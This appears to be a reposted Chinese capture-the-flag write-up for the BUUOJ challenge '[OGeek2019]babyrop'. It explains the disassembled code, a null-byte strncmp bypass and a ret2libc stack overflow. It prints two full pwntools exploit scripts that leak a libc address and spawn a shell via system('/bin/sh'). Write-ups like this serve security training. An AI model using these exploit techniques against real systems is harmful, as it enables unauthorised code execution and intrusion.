BUUOJ | [OGeek2019]babyrop(ROP、程式碼審計)
阿新 • • 發佈:2020-07-27
靜態分析
checksec 檢查,沒有什麼特別的保護機制
IDA 載入,main() 函式內容如下:
int __cdecl main() { int buf; // [esp+4h] [ebp-14h] char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read(fd, &buf, 4u); v2 = sub_804871F(buf); sub_80487D0(v2); return 0; }
呼叫的 sub_80486BB() 函式裡有一個 alarm() 鬧鐘,會阻礙除錯,
在本地 shell 裡可以用 sed -i s/alarm/isnan/g ./source
人為替換掉
fd 是一個檔案控制代碼,打開了一個給定隨機值的檔案,截斷成四位元組的 int 賦給 buf 傳入 sub_804871F():
int __cdecl sub_804871F(int a1) { size_t v1; // eax char s; // [esp+Ch] [ebp-4Ch] char buf[7]; // [esp+2Ch] [ebp-2Ch] unsigned __int8 v5; // [esp+33h] [ebp-25h] ssize_t v6; // [esp+4Ch] [ebp-Ch] memset(&s, 0, 0x20u); memset(buf, 0, 0x20u); sprintf(&s, "%ld", a1); v6 = read(0, buf, 0x20u); buf[v6 - 1] = 0; v1 = strlen(buf); if ( strncmp(buf, &s, v1) ) exit(0); write(1, "Correct\n", 8u); return v5; }
sprintf() 將引數 a1 轉換成字串 s,下一行讀入字串 buf,v6 為其長度
下兩行把 buf 最末一個字元去掉了,v1 為其新長度
接下來的 if 巢狀 strncmp
真正的溢位點在 sub_80487D0() 內:
ssize_t __cdecl sub_80487D0(char a1) { ssize_t result; // eax char buf; // [esp+11h] [ebp-E7h] if ( a1 == 127 ) result = read(0, &buf, 0xC8u); else result = read(0, &buf, a1); return result; }
考慮通過控制引數 a1 為一個較大數(0xff),觸發 read() 的棧溢位
這需要我們在 sub_804871F() 也通過 read() 進行一個溢位
讓 buf 的長度達到 8 就能覆蓋掉 return 的變數
接下來就就是常規的 ret2libc,
在 sub_80487D0() 通過劫持返回地址到 write() 洩露出某函式(我用的是 read )的 got 表地址
然後用 LibcSearcher 庫進行相應匹配,具體操作請見 exp,
最後加上偏移得到 system() 和 '/bin/sh' 的真實地址
重複呼叫 sub_80487D0(),棧溢位,使程式在返回時呼叫 system('/bin/sh'),成功 getshell
程式碼如下
from pwn import *
from LibcSearcher import *
def debug():
gdb.attach(io)
pause()
#io = process('./source')
context.log_level = 'debug'
io = remote('node3.buuoj.cn', '29318')
elf = ELF('./source')
main_addr = 0x08048825
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
payload1 = '\x00' + '\xff'*7 # 最後一個 \xff 是有效的返回值
io.sendline(payload1)
#debug()
io.recvuntil('Correct\n')
payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt) + p32(main_addr) # 按部就班先返回到 main()
payload2 += p32(1) + p32(read_got) + p32(4)
io.sendline(payload2)
# 計算各函式或字串的真實地址
read_addr = u32(io.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
io.sendline(payload1)
io.recvuntil('Correct\n')
payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
io.sendline(payload3)
io.interactive()
下面的 exp 是在第一次呼叫 sub_80487D0() 時先部署好第二次呼叫 sub_80487D0() 的棧結構
可以比上面的節約一次 io.sendline(payload1) 操作
編寫的時候要對棧結構很清晰
from pwn import *
from LibcSearcher import *
def debug():
gdb.attach(io)
pause()
io = process('./source')
context.log_level = 'debug'
#io = remote('node3.buuoj.cn', '29318')
elf = ELF('./source')
main_addr = 0x08048825
func_addr = 0x080487D0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
payload1 = '\x00' + '\xff'*7 # 最後一個 \xff 是有效的返回值
io.sendline(payload1)
#debug()
io.recvuntil('Correct\n')
payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt) + p32(func_addr)
payload2 += p32(1) + p32(read_got) + p32(4)
payload2 += p32(0xdeadbeef) + '\xff' # 先部署好二次呼叫 sub_80487D0() 的棧空間
io.sendline(payload2)
#debug()
read_addr = u32(io.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
io.sendline(payload3)
io.interactive()